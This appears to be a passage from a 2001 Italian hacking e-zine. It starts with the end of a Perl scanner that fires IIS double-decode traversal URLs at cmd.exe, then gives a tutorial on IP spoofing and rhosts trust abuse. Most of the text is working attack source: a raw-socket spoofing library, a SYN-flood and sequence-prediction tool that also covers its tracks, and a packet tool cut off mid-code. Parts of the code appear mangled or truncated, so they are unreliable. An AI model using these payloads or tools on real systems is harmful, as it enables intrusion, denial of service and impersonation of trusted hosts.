"/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir", "/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir", "/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir", "/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir", "/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir", "/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir", "/scripts/..%255c../winnt/system32/cmd.exe?/c+dir ", "/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir", "/iisadmpwd/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir", "/cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir", "/samples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir", "/_vti_cnf/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir", "/adsamples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir"); use Socket; # --------------init if ($#ARGV<0) {die "Usage: decodecheck IP:port\n";} ($host,$port)=split(/:/,@ARGV[0]); print "Testing $host:$port : "; $target = inet_aton($host); $flag=0; foreach $uni (@unis){ print "."; my @results=sendraw("GET $uni HTTP/1.0\r\n\r\n"); foreach $line (@results){ if ($line =~ /Directory/) {print "Not safe:\n $uni\n"; $flag=1;} } } # ---------------result if ($flag==1){print "The system is Vulnerable ... good look \n";} else {print "The system is Safe...Sorry ! Ie tutti cassi toi\n";} # ------------- Sendraw - thanx RFP rfp@wiretrip.net sub sendraw { # this saves the whole transaction anyway my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ my @in; select(S); $|=1; print $pstr; while(){ push @in, $_;} select(STDOUT); close(S); return @in; } else { die("Can't connect...\n"); } } # Spidermark: sensepostdata decodecheck _______________________ Taiia acchi' ! Bene anche per stavolta ho terminato. Buona fortuna a tutti e soprattutto buone ferie. Ciao dal Vostro TDI110CV ! Sappiatemi dire che cosa ne pensate. +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [HACKiNG] #02 - 18/06/2001 | | iP SP00FiNG ........................................ [DarkAngel999] 0x0D/0x25 | +-------------------------------------------------------------------------------+ Intro Un okkiata generale Skematizzando Librerie Toolz Intro In questo artikolo cerkero' di spiegarvi kos'e' l'ipspoofing, a kosa serve, kome funziona e kome si attua, direi ke il livello di preparazione "konsigliato" per leggere questo artikolo e' pressoke' nullo, buona lettura;) Un okkiata generale In un sistema Unix-like esistono delle autentikazioni d'accesso basate sull'indirizzo ip di un host quale ad esempio l'autentikazione rhosts ke permette agli host "fidati" di accedere ai serivizi r (rlogin,rsh,rcp,rcmd) senza specifikare una password, gli host fidati nel file .rhosts si presentano ad esempio kosi': ciccio.kls.it dark ciccio2.kls.it dark2 Questi 2 utenti (dark e dark2) potranno quindi accedere ai servizi r senza specifikare una password essendo degli host "fidati". Tutto quello ke dovremmo fare dunque per accedere a questo sistema starebbe nel falsifikare l'indirizzo sorgente impersonando uno di questi 2 utenti dobbiamo pero' prima kapire kome funzionano le komunikazioni tra gli host. Prima ke una konnessione tra 2 host possa porsi un uno stato di "estabilished" c'e' uno skambio di informazioni tra i 2, kolui ke rikiede la konnessione invia un pakketto al destinatario, negli header di questo pakketto si trovano l'indirizzo ip sorgente, un numero di ack, un sequence number, numero della porta d'origine, il numero della porta di destinazione etc., una volta giunto a destinazione il destinatario definisce una sequenza numerika iniziale, questa sequenza numerika viene inkrementata di 128 ogni sekondo e di 64 dopo ke ogni konnessione inizia, il destinatario mandera' dunque il pakketto kontenente la sequenza numerika iniziale all'host ke aveva rikiesto la konnessione e una volta ricevuta una risposta "korretta" la konnessione verra' stabilita. Questo kome si puo' facilmente kapire rappresenterebbe un problema dato ke se ci "spacciassimo" per un altro host falsifikando l'indirizzo ip d'origine il destinatario del pakketto manderebbe la "risposta" kontenente la sequenza numerika iniziale a quell'ip e nn a noi ke abbiamo falsifikato l'indirizzo ip d'origine quindi dovremo "indovinare" la sequenza numerika iniziale in modo da poter kontinuare a "dialogare" kon l'host di destinazione una volta indovinata la sequenza numerika iniziale la konnessione potra' essere kompletata e avremo raggiunto il nostro skopo. Skematizzando Se dovessimo skematizzare velocemente un attakko nel quale A e' l'hacker, B e' kolui a kui rikiediamo la konnessione e C e' l'host fidato ke vogliamo impersonare potremmo farlo kosi': A rikirede una konnessione a B kontenente l'ip di C; A flodda C impedendogli di rispondere alla rikiesta di B; B manda la "risposta" a C e rimane in attesa, ma C nn puo' rispondere perke' lo stiamo floddando:D A questo punto dobbiamo indovinare la sequenza numerika ke era kontenuta il quel pakketto "perso" una volta fatto potremo kontinuare a dialogare kon B; Per "indovinare" la sequenza numerika iniziale ci vengono inkontro degli strumenti kome ad esempio seq_number.c ke vediamo in seguito. Librerie Spoofit.h e' una libreria ke ci permette di inkludere "lo spoofing" nei nostri programmi: -----------------------------------------------taglia qui------------------------------------------ #include "sys/socket.h" /* includes, what would we do without them */ #include "netdb.h" #include "stdlib.h" #include "unistd.h" #include "stdio.h" #include "errno.h" #include "netinet/in.h" #include "netinet/ip.h" #include "linux/if.h" #include "sys/ioctl.h" #include "sys/types.h" #include "signal.h" #include "fcntl.h" #undef DEBUG #define IP_VERSION 4 /* keep y'r hands off... */ #define MTU 1500 #define IP_HEAD_BASE 20 /* using fixed lengths to send */ #define TCP_HEAD_BASE 20 /* no options etc... */ #define UDP_HEAD_BASE 8 /* Always fixed */ #define IO_HANDLE 1 #define IO_NONBLOCK 2 int DEV_PREFIX = 9999; sig_atomic_t WAIT_PACKET_WAIT_TIME=0; /**** IO_HANDLE ************************************************************/ int rc_fd_abc123; sig_atomic_t RC_FILTSET=0; char rc_filter_string[50]; /* x.x.x.x.p-y.y.y.y.g */ sig_atomic_t SP_DATA_BUSY=0; unsigned long int CUR_SEQ=0, CUR_ACK=0, CUR_COUNT=0; unsigned int CUR_DATALEN; unsigned short CUR_FLAGS; /***************************************************************************/ struct sp_wait_packet { unsigned long seq,ack; unsigned short flags; int datalen; }; /* Code from Sniffit - BTW my own program.... no copyright violation here */ #define URG 32 /* TCP flags */ #define ACK 16 #define PSH 8 #define RST 4 #define SYN 2 #define FIN 1 struct PACKET_info { int len, datalen; unsigned long int seq_nr, ACK_nr; u_char FLAGS; }; struct IP_header /* The IPheader (without options) */ { unsigned char verlen, type; unsigned short length, ID, flag_offset; unsigned char TTL, protocol; unsigned short checksum; unsigned long int source, destination; }; struct TCP_header /* The TCP header (without options) */ { unsigned short source, destination; unsigned long int seq_nr, ACK_nr; unsigned short offset_flag, window, checksum, urgent; }; struct UDP_header /* The UDP header */ { unsigned short source, destination; unsigned short length, checksum; }; struct pseudo_IP_header /* The pseudo IP header (checksum calc) */ { unsigned long int source, destination; char zero_byte, protocol; unsigned short TCP_UDP_len; }; /* data structure for argument passing */ struct sp_data_exchange { int fd; /* Sh!t from transmit_TCP */ char *data; int datalen; char *source; unsigned short source_port; char *dest; unsigned short dest_port; unsigned long seq, ack; unsigned short flags; char *buffer; /* work buffer */ int IP_optlen; /* IP options length in bytes */ int TCP_optlen; /* TCP options length in bytes */ }; /**************** all functions *******************************************/ void transmit_TCP (int fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags); void transmit_UDP (int sp_fd, char *sp_data, int ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port); int get_packet (int rc_fd, char *buffer, int *, unsigned char*); int wait_packet(int,struct sp_wait_packet *,char *, unsigned short,char *, unsigned short, int, int); static unsigned long sp_getaddrbyname(char *); int open_sending (void); int open_receiving (char *, char); void close_receiving (void); void sp_send_packet (struct sp_data_exchange *, unsigned char); void sp_fix_TCP_packet (struct sp_data_exchange *); void sp_fix_UDP_packet (struct sp_data_exchange *); void sp_fix_IP_packet (struct sp_data_exchange *, unsigned char); unsigned short in_cksum(unsigned short *, int ); void rc_sigio (int); void set_filter (char *, unsigned short, char *, unsigned short); /********************* let the games commence ****************************/ static unsigned long sp_getaddrbyname(char *sp_name) { struct hostent *sp_he; int i; if(isdigit(*sp_name)) return inet_addr(sp_name); for(i=0;i<100;i++) { if(!(sp_he = gethostbyname(sp_name))) {printf("WARNING: gethostbyname failure!\n"); sleep(1); if(i>=3) /* always a retry here in this kind of application */ printf("Coudn't resolv hostname."), exit(1); } else break; } return sp_he ? *(long*)*sp_he->h_addr_list : 0; } int open_sending (void) { struct protoent *sp_proto; int sp_fd; int dummy=1; /* they don't come rawer */ if ((sp_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))==-1) perror("Couldn't open Socket."), exit(1); #ifdef DEBUG printf("Raw socket ready\n"); #endif return sp_fd; } void sp_send_packet (struct sp_data_exchange *sp, unsigned char proto) { int sp_status; struct sockaddr_in sp_server; struct hostent *sp_help; int HEAD_BASE; /* Construction of destination */ bzero((char *)&sp_server, sizeof(struct sockaddr)); sp_server.sin_family = AF_INET; sp_server.sin_addr.s_addr = inet_addr(sp->dest); if (sp_server.sin_addr.s_addr == (unsigned int)-1) { /* if target not in DOT/number notation */ if (!(sp_help=gethostbyname(sp->dest))) fprintf(stderr,"unknown host %s\n", sp->dest), exit(1); bcopy(sp_help->h_addr, (caddr_t)&sp_server.sin_addr, sp_help->h_length); }; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_status = sendto(sp->fd, (char *)(sp->buffer), sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen, 0, (struct sockaddr *)&sp_server,sizeof(struct sockaddr)); if (sp_status < 0 || sp_status != sp->datalen+HEAD_BASE+IP_HEAD_BASE+sp->IP_optlen) { if (sp_status < 0) perror("Sendto"), exit(1); printf("hmm... Only transmitted %d of %d bytes.\n", sp_status, sp->datalen+HEAD_BASE); }; #ifdef DEBUG printf("Packet transmitted...\n"); #endif } void sp_fix_IP_packet (struct sp_data_exchange *sp, unsigned char proto) { struct IP_header *sp_help_ip; int HEAD_BASE; switch(proto) { case 6: HEAD_BASE = TCP_HEAD_BASE; break; /* TCP */ case 17: HEAD_BASE = UDP_HEAD_BASE; break; /* UDP */ default: exit(1); break; }; sp_help_ip = (struct IP_header *) (sp->buffer); sp_help_ip->verlen = (IP_VERSION << 4) | ((IP_HEAD_BASE+sp->IP_optlen)/4); sp_help_ip->type = 0; sp_help_ip->length = htons(IP_HEAD_BASE+HEAD_BASE+sp->datalen+sp->IP_optlen+sp->TCP_optlen); sp_help_ip->ID = htons(12545); /* TEST */ sp_help_ip->flag_offset = 0; sp_help_ip->TTL = 69; sp_help_ip->protocol = proto; sp_help_ip->source = sp_getaddrbyname(sp->source); sp_help_ip->destination = sp_getaddrbyname(sp->dest); sp_help_ip->checksum=in_cksum((unsigned short *) (sp->buffer), IP_HEAD_BASE+sp->IP_optlen); #ifdef DEBUG printf("IP header fixed...\n"); #endif } void sp_fix_TCP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct TCP_header *sp_help_tcp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;ibuffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_tcp->offset_flag = htons( (((TCP_HEAD_BASE+sp->TCP_optlen)/4)<<12) | sp->flags); sp_help_tcp->seq_nr = htonl(sp->seq); sp_help_tcp->ACK_nr = htonl(sp->ack); sp_help_tcp->source = htons(sp->source_port); sp_help_tcp->destination = htons(sp->dest_port); sp_help_tcp->window = htons(0x7c00); /* dummy for now 'wujx' */ sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 6; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+TCP_HEAD_BASE+sp->TCP_optlen); memcpy(sp_pseudo_ip_construct+12, sp_help_tcp, sp->TCP_optlen+sp->datalen+TCP_HEAD_BASE); sp_help_tcp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+TCP_HEAD_BASE+sp->TCP_optlen); #ifdef DEBUG printf("TCP header fixed...\n"); #endif } void transmit_TCP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port, unsigned long sp_seq, unsigned long sp_ack, unsigned short sp_flags) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_tcpoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_tcpoptlen); if (sp_datalen!=0) memcpy(sp_buffer+IP_HEAD_BASE+TCP_HEAD_BASE+sp_ipoptlen+sp_tcpoptlen, sp_data+sp_ipoptlen+sp_tcpoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.seq = sp_seq; sp_struct.ack = sp_ack; sp_struct.flags = sp_flags; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = sp_tcpoptlen; sp_fix_TCP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 6); sp_send_packet(&sp_struct, 6); } void sp_fix_UDP_packet (struct sp_data_exchange *sp) { char sp_pseudo_ip_construct[MTU]; struct UDP_header *sp_help_udp; struct pseudo_IP_header *sp_help_pseudo; int i; for(i=0;ibuffer+IP_HEAD_BASE+sp->IP_optlen); sp_help_pseudo = (struct pseudo_IP_header *) sp_pseudo_ip_construct; sp_help_udp->source = htons(sp->source_port); sp_help_udp->destination = htons(sp->dest_port); sp_help_udp->length = htons(sp->datalen+UDP_HEAD_BASE); sp_help_pseudo->source = sp_getaddrbyname(sp->source); sp_help_pseudo->destination = sp_getaddrbyname(sp->dest); sp_help_pseudo->zero_byte = 0; sp_help_pseudo->protocol = 17; sp_help_pseudo->TCP_UDP_len = htons(sp->datalen+UDP_HEAD_BASE); memcpy(sp_pseudo_ip_construct+12, sp_help_udp, sp->datalen+UDP_HEAD_BASE); sp_help_udp->checksum=in_cksum((unsigned short *) sp_pseudo_ip_construct, sp->datalen+12+UDP_HEAD_BASE); #ifdef DEBUG printf("UDP header fixed...\n"); #endif } void transmit_UDP (int sp_fd, char *sp_data, int sp_ipoptlen, int sp_datalen, char *sp_source, unsigned short sp_source_port, char *sp_dest, unsigned short sp_dest_port) { char sp_buffer[1500]; struct sp_data_exchange sp_struct; bzero(sp_buffer,1500); if (sp_ipoptlen!=0) memcpy(sp_buffer+IP_HEAD_BASE,sp_data,sp_ipoptlen); if (sp_data!=NULL) memcpy(sp_buffer+IP_HEAD_BASE+UDP_HEAD_BASE+sp_ipoptlen, sp_data+sp_ipoptlen,sp_datalen); sp_struct.fd = sp_fd; sp_struct.data = sp_data; sp_struct.datalen = sp_datalen; sp_struct.source = sp_source; sp_struct.source_port = sp_source_port; sp_struct.dest = sp_dest; sp_struct.dest_port = sp_dest_port; sp_struct.buffer = sp_buffer; sp_struct.IP_optlen = sp_ipoptlen; sp_struct.TCP_optlen = 0; sp_fix_UDP_packet(&sp_struct); sp_fix_IP_packet(&sp_struct, 17); sp_send_packet(&sp_struct, 17); } /* This routine stolen from ping.c -- HAHAHA!*/ unsigned short in_cksum(unsigned short *addr,int len) { register int nleft = len; register unsigned short *w = addr; register int sum = 0; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } /************************* Receiving department ****************************/ int open_receiving (char *rc_device, char mode) { int or_fd; struct sigaction rc_sa; int fcntl_flag; struct ifreq ifinfo; char test; /* create snoop socket and set interface promisc */ if ((or_fd = socket(AF_INET, SOCK_PACKET, htons(0x3)))==-1) perror("Couldn't open Socket."), exit(1); strcpy(ifinfo.ifr_ifrn.ifrn_name,rc_device); if(ioctl(or_fd,SIOCGIFFLAGS,&ifinfo)<0) perror("Couldn't get flags."), exit(1); ifinfo.ifr_ifru.ifru_flags |= IFF_PROMISC; if(ioctl(or_fd,SIOCSIFFLAGS,&ifinfo)<0) perror("Couldn't set flags. (PROMISC)"), exit(1); if(mode&IO_HANDLE) { /* install handler */ rc_sa.sa_handler=rc_sigio; /* we don't use signal() */ sigemptyset(&rc_sa.sa_mask); /* because the timing window is */ rc_sa.sa_flags=0; /* too big... */ sigaction(SIGIO,&rc_sa,NULL); } if(fcntl(or_fd,F_SETOWN,getpid())<0) perror("Couldn't set ownership"), exit(1); if(mode&IO_HANDLE) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FASYNC|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); rc_fd_abc123=or_fd; } else { if(mode&IO_NONBLOCK) { if( (fcntl_flag=fcntl(or_fd,F_GETFL,0))<0) perror("Couldn't get FLAGS"), exit(1); if(fcntl(or_fd,F_SETFL,fcntl_flag|FNDELAY)<0) perror("Couldn't set FLAGS"), exit(1); }; }; #ifdef DEBUG printf("Reading socket ready\n"); #endif return or_fd; } /* returns 0 when no packet read! */ int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start,unsigned char *proto) { char help_buffer[MTU]; int pack_len; struct IP_header *gp_IPhead; pack_len = read(rc_fd,help_buffer,1500); if(pack_len<0) { if(errno==EWOULDBLOCK) {pack_len=0;} else {perror("Read error:"); exit(1);} }; if(pack_len>0) { pack_len -= DEV_PREFIX; memcpy(buffer,help_buffer+DEV_PREFIX,pack_len); gp_IPhead = (struct IP_header *) buffer; if(proto != NULL) *proto = gp_IPhead->protocol; if(TCP_UDP_start != NULL) *TCP_UDP_start = (gp_IPhead->verlen & 0xF) << 2; } return pack_len; } void wait_packet_timeout (int sig) { alarm(0); WAIT_PACKET_WAIT_TIME=1; } int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, char *wp_source, unsigned short wp_source_port, char *wp_dest, unsigned short wp_dest_port, int wp_flags, int wait_time) { char wp_buffer[1500]; struct IP_header *wp_iphead; struct TCP_header *wp_tcphead; unsigned long wp_sourcel, wp_destl; int wp_tcpstart; char wp_proto; wp_sourcel=sp_getaddrbyname(wp_source); wp_destl=sp_getaddrbyname(wp_dest); WAIT_PACKET_WAIT_TIME=0; if(wait_time!=0) { signal(SIGALRM,wait_packet_timeout); alarm(wait_time); } while(1) { while(get_packet(wp_fd, wp_buffer, &wp_tcpstart, &wp_proto)<=0) { if (WAIT_PACKET_WAIT_TIME!=0) {alarm(0); return -1;} }; if(wp_proto == 6) { wp_iphead= (struct IP_header *) wp_buffer; wp_tcphead= (struct TCP_header *) (wp_buffer+wp_tcpstart); if( (wp_sourcel==wp_iphead->source)&&(wp_destl==wp_iphead->destination) ) { if( (ntohs(wp_tcphead->source)==wp_source_port) && (ntohs(wp_tcphead->destination)==wp_dest_port) ) { if( (wp_flags==0) || (ntohs(wp_tcphead->offset_flag)&wp_flags) ) { ret_values->seq=ntohl(wp_tcphead->seq_nr); ret_values->ack=ntohl(wp_tcphead->ACK_nr); ret_values->flags=ntohs(wp_tcphead->offset_flag)& (URG|ACK|PSH|FIN|RST|SYN); ret_values->datalen = ntohs(wp_iphead->length) - ((wp_iphead->verlen & 0xF) << 2) - ((ntohs(wp_tcphead->offset_flag) & 0xF000) >> 10); alarm(0); return 0; } } } } } /*impossible to get here.. but anyways*/ alarm(0); return -1; } void close_receiving (void) { close(rc_fd_abc123); } void rc_sigio (int sig) /* Packet handling routine */ { char rc_buffer[1500]; char packet_id [50]; unsigned char *rc_so, *rc_dest; struct IP_header *rc_IPhead; struct TCP_header *rc_TCPhead; int pack_len; if(RC_FILTSET==0) return; if(SP_DATA_BUSY!=0) /* skip this packet */ return; pack_len = read(rc_fd_abc123,rc_buffer,1500); rc_IPhead = (struct IP_header *) (rc_buffer + DEV_PREFIX); if(rc_IPhead->protocol!=6) return; /* if not TCP */ rc_TCPhead = (struct TCP_header *) (rc_buffer + DEV_PREFIX + ((rc_IPhead->verlen & 0xF) << 2)); rc_so = (unsigned char *) &(rc_IPhead->source); rc_dest = (unsigned char *) &(rc_IPhead->destination); sprintf(packet_id,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", rc_so[0],rc_so[1],rc_so[2],rc_so[3],ntohs(rc_TCPhead->source), rc_dest[0],rc_dest[1],rc_dest[2],rc_dest[3],ntohs(rc_TCPhead->destination)); if(strcmp(packet_id,rc_filter_string)==0) { SP_DATA_BUSY=1; CUR_SEQ = ntohl(rc_TCPhead->seq_nr); CUR_ACK = ntohl(rc_TCPhead->ACK_nr); CUR_FLAGS = ntohs(rc_TCPhead->offset_flag); CUR_DATALEN = ntohs(rc_IPhead->length) - ((rc_IPhead->verlen & 0xF) << 2) - ((ntohs(rc_TCPhead->offset_flag) & 0xF000) >> 10); CUR_COUNT++; SP_DATA_BUSY=0; } } void set_filter (char *f_source, unsigned short f_source_port, char *f_dest, unsigned short f_dest_port) { unsigned char *f_so, *f_des; unsigned long f_sol, f_destl; RC_FILTSET=0; if(DEV_PREFIX==9999) fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1); f_sol = sp_getaddrbyname(f_source); f_destl = sp_getaddrbyname(f_dest); f_so = (unsigned char *) &f_sol; f_des = (unsigned char *) &f_destl; sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u", f_so[0],f_so[1],f_so[2],f_so[3],f_source_port, f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port); RC_FILTSET=1; } -----------------------------------------------taglia qui------------------------------------------ Toolz utili Esistono vari programmi ke ci vengono inkontro, spoffano l'ip sorgente, analizzano la sequenza numerika generata dall'host a kui rikiediamo la konnessione e fanno un progniostiko cirka l'inkremento della sequenza numerika, tra i vari esistenti il mio prediletto e' mendax ke potrete trovare su rootshell per quanto riguarda l'uso leggetevi il man:D Se vi interessa l'argomento leggetevi i kommenti nel sorgente di seq_number.c ke vi riporto qui sotto. -------------------------------------------------------taglia qui----------------------------------- /* This source is subject to the GNU PUBLIC LICENSE. It can be used freely * for any non-commercial purpose, and this message and the contact * information must remain intact. For commercial purposes, you MUST contact * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is * available from: ftp://aeneas.mit.edu/pub/gnu/ * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * Mike Neuman * En Garde Systems * 525 Clara Avenue, Suite 202 * St. Louis, MO 63112 * mcn@EnGarde.com */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "ipbpf.h" /* Include ipbpf header */ #define BADHOST "16.17.18.19" /* The host to spoof flooding the trusted * host's destination port from. This host shouldn't exist, but should have * correct routing entries. The important part is so that returned packets * go to nowhere. */ #define NUMSEQUENCE 80 /* The number of connections to spoof from BADHOST. I made this big. * I've found 4.4BSD will be flooded with only 8 unacked connections. Your * mileage may vary */ #define NUMTESTS 10 /* How many samples of the sequence numbers do you want to take? * I randomly picked 10 and only take the last result. If I wanted to be * elegant, I'd do some sort of statistical average. Sequence numbers * are generally updated by a fixed number, this attempts to compute * this number taking into account average network lag. Fixed sequence * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and * probably others, although I haven't tested them. */ #define ROUTER "router.EnGarde.com" /* The name of your router to the outside world. Spoofed packets need to * be sent to it's ether/fddi address in order to get to the outside world. */ main(argc, argv) int argc; char *argv[]; { struct hostent *he; u_long trust_addr, targ_addr; u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE]; u_long next_seq, offset; if (argc!=3) { fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]); exit(1); } if ((he=gethostbyname(argv[1]))==NULL) { trust_addr=inet_addr(argv[1]); if (trust_addr==(u_long)-1) { fprintf(stderr, "Unknown host %s\n", argv[1]); exit(1); } } else bcopy(he->h_addr, &trust_addr, 4); if ((he=gethostbyname(argv[2]))==NULL) { targ_addr=inet_addr(argv[2]); if (targ_addr==(u_long)-1) { fprintf(stderr, "Unknown host %s\n", argv[2]); exit(1); } } else bcopy(he->h_addr, &targ_addr, 4); printf("Initializing Packet Filter\n"); use_best(); /* Use the best packet filter available on this system */ if (init_filter("tcp", NULL)) { /* Initialize the packet filter and read only TCP packets */ fprintf(stderr, "Can't init Packet Filter\n"); exit(1); } /* First, send NUMSEQUENCE connection requests from BADHOST to the * trusted host on a trusted port (currently 513). Trusted host will * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never * be a response ACK. Consequently, trusted host's connection queue will * fill and it will no longer respond to any packets to port 513. */ printf("[Hosing Trusted Host...]\n"); if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) { fprintf(stderr, "Couldn't hose %s\n", argv[1]); exit(1); } /* Next, do a sampling of the difference in sequence numbers. These packets * are NOT spoofed as receiving the reply is required. Consequently, this * host can appear in any packet traces. */ printf("[Determining sequence numbers...]\n"); if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) { fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]); exit(1); } printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offset); /* Next, do the actual spoofed connection, now that we know what the next * sequence number will be. */ printf("[Spoofing Connection...]\n"); if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) { fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]); exit(1); } /* Finally, reset all of the half started connections on trusted-host. * This will put trusted-host back into it's normal state (and hide * the traces that it was used for evil. */ printf("[Cleaning Up Trusted Mess...]\n"); if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) { fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]); exit(1); } /* fin */ exit(0); } hose_trusted(trust_host, trust_addr, seq_num, port_num) char *trust_host; u_long trust_addr; u_long seq_num[NUMSEQUENCE]; u_short port_num[NUMSEQUENCE]; { int i; u_long start_seq=49358353+getpid(); /* Make this anything you want */ u_long start_port=600; /* Make this anything you want */ struct ether_header eh; u_long bad_addr; /* First attempt to find the hardware address of the trusted host */ if (ether_hostton(trust_host, &eh.ether_dhost)) { /* If that fails, find the hardware address of the router */ if (ether_hostton(ROUTER, &eh.ether_dhost)) { fprintf(stderr, "Can't determine ether addr of trusted host or router.\n"); return(1); } } eh.ether_type=ETHERTYPE_IP; if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) { fprintf(stderr, "Can't convert BADHOST address.\n"); return(1); } /* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simple * are: * sendtcppacket_simple( * struct ether_addr source_hardware_address, * struct ether_addr destination_hardware_address, * u_long source_ip_address, * u_long destination_ip_address, * u_short source_port, * u_short destination_port, * u_long sequence_number, * u_long acknowldegement_number, * int TCP flags (SYN, RST, ACK, PUSH, FIN), * char * data, * int datalen) */ for (i=0;ih_addr, &my_addr, 4); for (i=0;i #include #include #include #include #include #include #ifdef sun #include #else /* Linux */ #include #endif #include #include #ifdef sun struct iphdr { u_char version:4, /* version */ ihl:4; /* header length */ u_char tos; /* type of service */ short tot_len; /* total length */ u_short id; /* identification */ short frag_off; /* fragment offset field */ u_char ttl; /* time to live */ u_char protocol; /* protocol */ u_short check; /* checksum */ unsigned long saddr, daddr; /* source and dest address */ }; #endif /* * Pinched from ping.c * ------------------- * in_cksum -- * Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } inline void printtcppacket(int r, char *buf, struct sockaddr_in *addr) { struct iphdr *ip; struct tcphdr *tcp; int len=-1; printf("-------------------------------------------------------------------------------\n"); /* IP */ printf("Packet Size = %d\n",r); addr->sin_addr.s_addr = ntohl(addr->sin_addr.s_addr); ip = (struct iphdr *) buf; len = ip->ihl << 2; printf("IP Header\n"); printf("---------\n"); printf("length %d, version %d\n",len,ip->version); printf("tos %d, tot_len %d\n",ip->tos, ntohs(ip->tot_len)); printf("id %d, frag_off %d, ttl %d, protocol %d\n",ntohs(ip->id),ntohs(ip->frag_off), ip->ttl, ip->protocol); printf("check %d\n",ntohs(ip->check)); printf("IPFrom %s, 